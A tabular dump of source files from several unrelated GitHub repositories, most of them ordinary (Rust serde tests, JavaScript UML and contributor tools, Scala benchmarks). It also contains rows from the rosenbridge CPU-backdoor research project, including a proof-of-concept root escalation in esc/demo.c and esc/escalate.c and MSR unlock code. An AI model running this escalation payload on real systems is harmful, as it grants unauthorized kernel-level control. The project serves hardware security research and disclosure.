file_path stringlengths 3 280 | file_language stringclasses 66
values | content stringlengths 1 1.04M | repo_name stringlengths 5 92 | repo_stars int64 0 154k | repo_description stringlengths 0 402 | repo_primary_language stringclasses 108
values | developer_username stringlengths 1 25 | developer_name stringlengths 0 30 | developer_company stringlengths 0 82 |
|---|---|---|---|---|---|---|---|---|---|
serde-implicit/tests/ui/duplicate_tags.rs | Rust | #[derive(serde_implicit_proc::Deserialize)]
enum MultiTagFields {
DoubleTagged {
#[serde_implicit(tag)]
primary_tag: String,
#[serde_implicit(tag)]
secondary_tag: bool,
value: u32,
},
SingleTagged {
#[serde_implicit(tag)]
only_tag: u32,
value: ... | xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
serde-implicit/tests/ui/flatten_multiple_fields.rs | Rust | #[derive(serde::Deserialize)]
struct Helper(String, bool);
#[derive(serde_implicit_proc::Deserialize)]
enum BadFlatten {
Normal(bool),
MultiField(u64, #[serde_implicit(flatten)] Helper),
}
fn main() {}
| xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
serde-implicit/tests/ui/flatten_not_at_end.rs | Rust | #[derive(serde::Deserialize)]
struct Helper(String, bool);
#[derive(serde_implicit_proc::Deserialize)]
enum BadOrder {
Flatten(#[serde_implicit(flatten)] Helper),
Normal(bool),
}
fn main() {}
| xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
serde-implicit/tests/ui/missing_tags.rs | Rust | #[derive(serde_implicit_proc::Deserialize)]
enum OopsTag {
MissingTag {
field1: String,
field2: bool,
value: u32,
},
SingleTagged {
#[serde_implicit(tag)]
only_tag: u32,
value: String,
},
}
fn main() {}
| xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
serde-implicit/tests/ui/repeated_tag.rs | Rust | #[derive(serde_implicit_proc::Deserialize)]
enum RepeatedTag {
Var1 {
#[serde_implicit(tag)]
primary_tag: String,
value: u32,
},
Var2 {
#[serde_implicit(tag)]
primary_tag: String,
value: String,
},
}
fn main() {}
| xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
serde-implicit/tests/ui/tag_and_flatten.rs | Rust | #[derive(serde::Deserialize)]
struct Helper(String, bool);
#[derive(serde_implicit_proc::Deserialize)]
enum BadAnnotation {
Normal(bool),
Conflicting(#[serde_implicit(tag, flatten)] Helper),
}
fn main() {}
| xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
app.vue | Vue | <template>
<div>
<NuxtWelcome />
</div>
</template>
| xmatthias/nuxt_supabase_deploy_test | 0 | TypeScript | xmatthias | Matthias | ||
nuxt.config.ts | TypeScript | // https://nuxt.com/docs/api/configuration/nuxt-config
export default defineNuxtConfig({
devtools: { enabled: true },
modules: ['@nuxtjs/supabase']
})
| xmatthias/nuxt_supabase_deploy_test | 0 | TypeScript | xmatthias | Matthias | ||
asm/deis_asm.py | Python | #
# project:rosenbridge
# domas // @xoreaxeaxeax
#
# the deis assembler #
# a minimal subset of the deis instructions have been analyzed to reveal the
# bitfields necessary to create a working privilege escalation payload. work on
# analyzing the deis instruction set is far from complete, but this assembler
# provid... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
esc/demo.c | C | #include <stdlib.h>
int main(void)
{
/* unlock the backdoor */
__asm__ ("movl $payload, %eax");
__asm__ (".byte 0x0f, 0x3f");
/* modify kernel memory */
__asm__ ("payload:");
__asm__ ("bound %eax,0xa310075b(,%eax,1)");
__asm__ ("bound %eax,0x24120078(,%eax,1)");
__asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
esc/escalate.c | C | #include <stdio.h>
#include <stdlib.h>
int main(void)
{
__asm__ ("movl $payload, %eax");
__asm__ (".byte 0x0f, 0x3f");
__asm__ ("payload:");
#include "bin/payload.h"
system("/bin/bash");
return 0;
}
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
esc/payload.asm | Assembly | #
# project:rosenbridge
# domas // @xoreaxeaxeax
#
# a proof-of-concept hardware privilege escalation payload.
# uses the deis-backdoor to reach into kernel memory and give the current
# process root permissions.
# written in deis-asm.
# assemble with:
# python ../asm/deis_asm.py payload.asm > payload.h
# to assem... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fix/lock_deis.sh | Shell | #!/bin/sh
modprobe msr
/usr/bin/lock_deis
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/deis/fuzz_deis.c | C | /* this program fuzzes deis instructions given a known wrapper */
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <execinfo.h>
#include <limits.h>
#include <ucontext.h>
#include <s... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/deis/fuzz_deis.sh | Shell | #!/bin/bash
# assumes no password required for sudo
# (add 'username ALL=(ALL) NOPASSWD: ALL' to sudoers)
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
echo "== unlocking backdoor =="
sudo modprobe msr
sudo $DIR/../../lock/bin/unlock
echo "== loading privregs =="
sudo insmod $DIR/../../kern/privregs/privre... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/deis/seed_ins.h | C/C++ Header | /* kernel reads */
uint32_t seed_ins_source[]={
/* 4 byte */
0xc1f2adbd,
0xc291a469,
0xc291a46d,
0xc451b086,
0xc495874d,
0xc635b945,
0xc673b789,
0xc673b989,
0xc677a94d,
0xc677b94d,
0xc677b9c5,
0xc8538c8d,
};
/* not run */
#if 0
#endif
/* run */
#if 0
/* zero bytes */
uint32_t seed_ins_source[]={
0xc5e9a... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/exit/fuzz_exit.c | C | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_INSTRUCTIONS 100000
/* inline constraints will add a $ before an immediate, which .space will
* refuse to parse = no inline constriants for the space piece. can try to use
* the preprocessor but it won't be able to resolve sizeof(). no good so... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/exit/fuzz_exit.sh | Shell | #!/bin/sh
# call the bridge from a wrapper, so that if it crashes we can still send out a
# message
# assumes no password required for sudo
# (add 'username ALL=(ALL) NOPASSWD: ALL' to sudoers)
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
echo "== unlocking backdoor =="
sudo modprobe msr
$DIR/../../lock/... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/device/device.py | Python | import logging
import sys
import logging.handlers
# represents a fuzzing target
class Device:
def __init__(self, relay, ip, username="user", password="password", name="unnamed"):
# configure logger
logger = logging.getLogger("%s.%s" % (__name__, relay))
file_handler = logging.handlers.Rota... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/fuzz_deis.py | Python | # manages the fuzz_deis tool on a remote target
import os
import sys
import paramiko
import time
import socket
import random
import collections
from threading import Thread
import power.power as power
import util.indent as indent
from device.device import Device
TASK_TIMEOUT = 600 # max time to run the fuzz script (... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/fuzz_exit.py | Python | import sys
import paramiko
import time
import socket
import random
import collections
import power.power as power
import util.indent as indent
import generator
from device.device import Device
TASK_TIME = 3 # seconds
PING_TIME = 1 # seconds
USERNAME = "user"
PASSWORD = "password"
COMMAND = "~/_research/rosenbridge/f... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/generator.py | Python | import random
MAX_INS = 0xffffffff
HALF_INS = 0xffff
def strategy_left_bits():
i = 0
while i <= MAX_INS:
yield int('{:032b}'.format(i)[::-1], 2)
i = i + 1
def strategy_right_bits():
i = 0
while i <= MAX_INS:
yield i
i = i + 1
def strategy_edge_bits():
# this is a ... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/power/power.py | Python | from relay_ftdi import *
import time
import sys
RELEASE_TIME = .5
ON_TIME = 1
OFF_TIME = 6
def initialize_power():
#open_serial()
#reset_device()
pass
def power_on(device):
print "powering on device %d..." % device
close_relay(device)
time.sleep(RELEASE_TIME)
open_relay(device)
time.s... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/power/relay_ftdi.py | Python | #!/usr/bin/python
# this utility serves the same purpose as relay_serial.py, but uses the
# pylibftdi driver to control the relays. it seems to work fairly well across
# different systems.
from pylibftdi import Driver
from pylibftdi import BitBangDevice
#import struct
import sys
import time
DEVICE="AI053AH4"
RELA... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/power/relay_serial.py | Python | # this utility controls the attached relays
# it seems to be fickle (works on some systems, not others), may depend on exact
# version of libftdi installed?
# if this fails, unplug and replug
# if still fails, use ./drcontrol.py -l
# and
# ./drcontrol/trunk/drcontrol.py -d AI053AH4 -c off -r all -v
# ./drcontro... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/repeat_fuzz_deis.sh | Shell | #!/bin/bash
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python fuzz_deis.py
python f... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/util/indent.py | Python | import sys
import inspect
class AutoIndent(object):
def __init__(self, stream, depth=len(inspect.stack())):
self.stream = stream
self.depth = depth
def indent_level(self):
return len(inspect.stack()) - self.depth
def write(self, data):
indentation = ' ' * self.indent_leve... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/manager/watch_sessions.py | Python | import os
NAME = "monitor"
clients = [0, 1, 2, 3, 4, 5, 6, 7]
screen = ""
WIDTH = 4
HEIGHT = 2
with open("tmp", "w") as f:
f.write("sorendition wK\n") # white on bold black
for _ in xrange(HEIGHT - 1):
f.write("split\n");
for _ in xrange(HEIGHT):
for _ in xrange(WIDTH - 1):
... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/wrap/fuzz_wrapper.c | C | #define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <execinfo.h>
#include <limits.h>
#include <ucontext.h>
#include <sys/types.h>
#include <stdint.h>
#include <stdbool.h>
#include <inttypes.h>
#include <sys/... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/wrap/fuzz_wrapper.sh | Shell | #!/bin/bash
modprobe msr
../../lock/bin/unlock
./bin/fuzz_wrapper
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/deis_kernel.c | C | #include <linux/slab.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/module.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <asm/io.h>
#include <linux/init.h>
#include <linux/compiler.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/sched... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/deis_kernel.h | C/C++ Header | #ifndef DEIS_KERNEL_H
#define DEIS_KERNEL_H
#define GET_BUFFER_ADDRESS 0x8001
#define GET_BUFFER_SIZE 0x8002
#define READ_BUFFER 0x8003
#define RESET_BUFFER 0x8004
#endif // DEIS_KERNEL_H
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/privregs/privregs.c | C | #include <linux/slab.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/module.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <asm/io.h>
#include <linux/init.h>
#include <linux/compiler.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/sched... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/privregs/privregs.h | C/C++ Header | #ifndef PRIVREGS_H
#define PRIVREGS_H
#define READ_CR 0x8001
#define READ_DR 0x8002
#define READ_SEG 0x8003
#define READ_MSR 0x8004
#define WRITE_CR 0x8005
#define WRITE_DR 0x8006
#define WRITE_SEG 0x8007
#define WRITE_MSR 0x8008
#define CHECK_MSR 0x8009
typedef enum {
SEG_DS,
SEG_ES,
SEG_FS,
SEG... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/test_deis_kernel.c | C | #include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include "deis_kernel.h"
int main(void)
{
int i;
uintptr_t buffer_address;
unsigned int buffer_size;
unsigned char* buffer=NULL;
int handle;
handle=open("/dev/deis_kernel", O_RDWR);
if (!ha... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/watch_mem.c | C | #include <linux/module.h> // included for all kernel modules
#include <linux/kernel.h> // included for KERN_INFO
#include <linux/init.h> // included for __init and __exit macros
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/delay.h>
#inc... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
lock/lock.c | C | #include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#define BACKDOOR_MSR 0x00001107
#define BACKDOOR_TOGGLE 0x00000001
#define MSR_DEV "/dev/cpu/0/msr"
int main(void)
{
FILE* f;
uint64_t v;
f=fopen(MSR_DEV, "rb+");
if (f==NULL) {
prin... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
lock/unlock.c | C | #include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#define BACKDOOR_MSR 0x00001107
#define BACKDOOR_TOGGLE 0x00000001
#define MSR_DEV "/dev/cpu/0/msr"
int main(void)
{
FILE* f;
uint64_t v;
f=fopen(MSR_DEV, "rb+");
if (f==NULL) {
prin... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
proc/extract.py | Python | #
# project:rosenbridge
# domas // @xoreaxeaxeax
#
# the pattern extractor #
# this utility is used to process the logs generated from the deis instruction
# fuzzer. by looking at changes in the system state, it identifies basic
# patterns in an instruction, such as 'adds two registers' or 'loads a value
# from memo... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
test/check_instruction.c | C | /* runs a single deis instruction, used for testing */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define PPC_RFI_BE_2 0x4c000064
#define PPC_RFI_LE_2 0x6400004c
#define PPC_RFI_BE_1 0x62000023
#define PPC_RFI_LE_1 0x23000062
#define INSTRUCTION PPC_RFI_LE_1
typedef struct instruction_t {
unsigned... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
util/check.c | C | #define _GNU_SOURCE
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#include <inttypes.h>
#include <signal.h>
#define BACKDOOR_MSR 0x00001107
#define BACKDOOR_TOGGLE 0x00000001
#define MSR_DEV "/dev/cpu/0/msr"
#if __x86_64__
#define IP RE... | xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
bin/git-contributor.js | JavaScript | #!/usr/bin/env node
'use strict';
const fs = require('fs');
const path = require('path');
const program = require('commander');
const gen = require('../lib/git-contributor');
program
.option('-m, --markdown', 'auto parse and update README.md')
.option('-p, --print', 'render markdown file')
.option('-u, --url ... | xudafeng/git-contributor | 23 | :octocat: Welcome to join in and feel free to contribute. | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox |
index.js | JavaScript | 'use strict';
module.exports = require('./lib/git-contributor');
| xudafeng/git-contributor | 23 | :octocat: Welcome to join in and feel free to contribute. | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox |
lib/git-contributor.js | JavaScript | 'use strict';
const _ = require('xutil');
const {
execSync
} = require('child_process');
const fs = require('fs');
const {
parse
} = require('url');
const path = require('path');
const httpclient = require('urllib');
const pkg = require('../package');
const SIZE_MAP = {
large: 100,
medium: 80,
small: 60
};... | xudafeng/git-contributor | 23 | :octocat: Welcome to join in and feel free to contribute. | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox |
test/git-contributor.test.js | JavaScript | 'use strict';
const assert = require('assert');
const fs = require('fs');
const Module = require('module');
const os = require('os');
const path = require('path');
const makeTempDir = () => fs.mkdtempSync(path.join(os.tmpdir(), 'git-contributor-'));
const uniq = list => Array.from(new Set(list));
const loadContribu... | xudafeng/git-contributor | 23 | :octocat: Welcome to join in and feel free to contribute. | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox |
editor/mermaid.js | JavaScript | 'use strict';
import React from 'react';
import mermaid from 'mermaid';
import ReactDOM from 'react-dom';
import ForkmeonComponent from 'forkmeon.github.io';
import './mermaid.less';
import _ from './utils';
import pkg from '../package';
mermaid.initialize({
theme: 'forest',
gantt: {
axisFormatter: [
[... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
editor/mermaid.less | LESS | html,
body {
padding: 0;
margin: 0;
overflow-x: hidden;
}
.container {
font-family: Lato, "Helvetica Neue For Number", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "Helvetica Neue", Helvetica, Arial, sans-serif;
text-align: center;
margin-top:... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
editor/plantuml.js | JavaScript | 'use strict';
import React from 'react';
import ReactDOM from 'react-dom';
import ForkmeonComponent from 'forkmeon.github.io';
import './plantuml.less';
import _ from './utils';
import pkg from '../package';
const data = _.getHashData();
class Page extends React.Component {
constructor(props) {
super(props);
... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
editor/plantuml.less | LESS | html,
body {
padding: 0;
margin: 0;
overflow-x: hidden;
}
.container {
font-family: Lato, "Helvetica Neue For Number", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "Helvetica Neue", Helvetica, Arial, sans-serif;
text-align: center;
margin-top:... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
editor/utils.js | JavaScript | 'use strict';
const utf8bytes = require('utf8-bytes');
const pakoDeflate = require('pako/lib/deflate.js');
const pakoInflate = require('pako/lib/inflate.js');
const encode64 = require('../lib/encode64');
const decode64 = require('../lib/decode64');
const Utf8ArrayToStr = require('../lib/utf8arraytostring');
exports.... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
lib/decode64.js | JavaScript | 'use strict';
// Reverse of
// http://plantuml.sourceforge.net/codejavascript2.html
// It is described as being "a transformation close to base64"
// The code has been slightly modified to pass linters
function decode6bit (cc) {
var c = cc.charCodeAt(0);
if (cc === '_') return 63;
if (cc === '-') return 62;
... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
lib/encode64.js | JavaScript | 'use strict';
// Encode code taken from the PlantUML website:
// http://plantuml.sourceforge.net/codejavascript2.html
// It is described as being "a transformation close to base64"
// The code has been slightly modified to pass linters
function encode6bit (b) {
if (b < 10) {
return String.fromCharCode(48 + b);... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
lib/plotjs.js | JavaScript | 'use strict';
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
lib/utf8arraytostring.js | JavaScript | 'use strict';
// http://www.onicos.com/staff/iz/amuse/javascript/expert/utf.txt
/* utf.js - UTF-8 <=> UTF-16 convertion
*
* Copyright (C) 1999 Masanao Izumo <iz@onicos.co.jp>
* Version: 1.0
* LastModified: Dec 25 1999
* This library is free. You can redistribute it and/or modify it.
*/
module.exports = functio... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
mermaid.html | HTML | <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport">
<title>umlplot</title>
<base target="_blank"/>
</head>
<body>
<div id="app">
<script>
var isOnline = !!~location.host.in... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
plantuml.html | HTML | <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport">
<title>umlplot</title>
<base target="_blank"/>
</head>
<body>
<div id="app">
<script>
var isOnline = !!~location.host.in... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
test/helper.js | JavaScript | 'use strict';
import {
opn,
platform,
isExistedFile,
uuid,
mkdir
} from 'xutil';
import path from 'path';
import wd from 'macaca-wd';
import {
appendToContext
} from 'macaca-reporter';
import Coverage from 'macaca-coverage';
const {
collector,
Reporter
} = Coverage({
runtime: 'web'
});
const cwd = ... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
test/plotjs.test.js | JavaScript | 'use strict';
import {
driver,
BASE_URL
} from './helper';
describe('test/umlplot.test.js', () => {
describe('page func testing', () => {
before(() => {
return driver
.initWindow({
width: 800,
height: 600,
deviceScaleFactor: 2
});
});
afterEach(fu... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
webpack.config.js | JavaScript | 'use strict';
const path = require('path');
const pkg = require('./package');
const isProduction = process.env.NODE_ENV === 'production';
const config = {
entry: {
plantuml: path.resolve('editor', 'plantuml'),
mermaid: path.resolve('editor', 'mermaid'),
},
output: {
path: path.join(__dirname, 'dis... | xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
src/main/scala/example/Main.scala | Scala | package example
import org.openjdk.jmh.annotations.Benchmark
import org.openjdk.jmh.annotations.Param
import org.openjdk.jmh.annotations.State
import org.openjdk.jmh.annotations.Scope
import org.openjdk.jmh.annotations.Setup
import scala.annotation.threadUnsafe
@State(Scope.Benchmark)
class Main {
@Param(Array("10... | xuwei-k/Array-startsWith-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
src/test/scala/example/StartsWithTest.scala | Scala | package example
import org.scalacheck.*
import example.Main.newStartsWith
object StartsWithTest extends Properties("test") {
override def overrideParameters(p: Test.Parameters): Test.Parameters = {
p.withMinSuccessfulTests(1000000)
}
property("a") = Prop.forAllNoShrink { (a1: List[Int], a2: List[Int], i: B... | xuwei-k/Array-startsWith-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/example/JavaClass.java | Java | package example;
import java.util.concurrent.TimeUnit;
public final class JavaClass {
public static int test(Object t) {
return switch (t) {
case TimeUnit.NANOSECONDS -> 1;
case TimeUnit.MICROSECONDS -> 2;
case TimeUnit.MILLISECONDS -> 3;
case TimeUnit.SECO... | xuwei-k/constant-dynamic-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/example/Main.scala | Scala | package example
import org.openjdk.jmh.annotations.{Benchmark, Scope, Setup, State}
import java.util.concurrent.TimeUnit
@State(Scope.Benchmark)
class Main {
var values: Seq[TimeUnit] = null
@Setup
def setup(): Unit = {
values = TimeUnit.values().toSeq
}
@Benchmark
def testScala(): Unit = {
valu... | xuwei-k/constant-dynamic-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/example/ScalaClass.scala | Scala | package example
import java.util.concurrent.TimeUnit
object ScalaClass {
def test(t: AnyRef): Int = t match {
case TimeUnit.NANOSECONDS => 1
case TimeUnit.MICROSECONDS => 2
case TimeUnit.MILLISECONDS => 3
case TimeUnit.SECONDS => 4
case TimeUnit.MINUTES => 5
case _ ... | xuwei-k/constant-dynamic-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/A.scala | Scala | package example
final class A(val value: Int) extends AnyVal {
def add(n: Int): A = A(value + n)
}
| xuwei-k/opaque-type-and-value-class | 1 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/B.scala | Scala | package example
opaque type B = Int
object B {
def apply(value: Int): B = value
extension (self: B) {
def value: Int = self
def add(n: Int): B = self + n
}
}
| xuwei-k/opaque-type-and-value-class | 1 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/Main.scala | Scala | package example
import org.openjdk.jmh.annotations.Benchmark
object Main {
val size = 100_000
val valuesA: Seq[A] = (1 to size).map(A(_))
val valuesB: Seq[B] = (1 to size).map(B(_))
}
class Main {
@Benchmark
def value_class: Seq[A] = {
Main.valuesA.map(_.add(1))
}
@Benchmark
def opaque_type: S... | xuwei-k/opaque-type-and-value-class | 1 | Scala | xuwei-k | kenji yoshida | ||
sbt-jol/src/main/scala-2/sbtjol/JolPluginCompat.scala | Scala | package sbtjol
import java.io.File
private[sbtjol] object JolPluginCompat {
def classpathToFiles(classpath: sbt.Keys.Classpath): Seq[File] =
classpath.map(_.data)
}
| xuwei-k/sbt-jol | 2 | jol(Java Object Layout) plugin for sbt. fork from https://github.com/ktoso/sbt-jol | Scala | xuwei-k | kenji yoshida | |
sbt-jol/src/main/scala-3/sbtjol/JolPluginCompat.scala | Scala | package sbtjol
import java.io.File
private[sbtjol] object JolPluginCompat {
inline def classpathToFiles(classpath: sbt.Keys.Classpath): Seq[File] = {
val converter = sbt.Keys.fileConverter.value
classpath.map(x => converter.toPath(x.data).toFile)
}
}
| xuwei-k/sbt-jol | 2 | jol(Java Object Layout) plugin for sbt. fork from https://github.com/ktoso/sbt-jol | Scala | xuwei-k | kenji yoshida | |
sbt-jol/src/main/scala/sbtjol/JolPlugin.scala | Scala | package sbtjol
import lmcoursier.internal.shaded.coursier
import org.openjdk.jol.vm.VM
import sbt.*
import sbt.CacheImplicits.*
import sbt.Def.Initialize
import sbt.Keys.*
import sbt.complete.DefaultParsers
import sbt.complete.Parser
import xsbt.api.Discovery
import xsbti.compile.CompileAnalysis
object JolPlugin exte... | xuwei-k/sbt-jol | 2 | jol(Java Object Layout) plugin for sbt. fork from https://github.com/ktoso/sbt-jol | Scala | xuwei-k | kenji yoshida | |
sbt-jol/src/sbt-test/sbt-jol/estimates/src/main/scala/example/Entry.scala | Scala | package example
final case class Entry(key: String, value: Int)
| xuwei-k/sbt-jol | 2 | jol(Java Object Layout) plugin for sbt. fork from https://github.com/ktoso/sbt-jol | Scala | xuwei-k | kenji yoshida | |
sbt-jol/src/sbt-test/sbt-jol/run-estimates/src/main/scala/example/Entry.scala | Scala | package example
final case class Entry(key: String, value: Int)
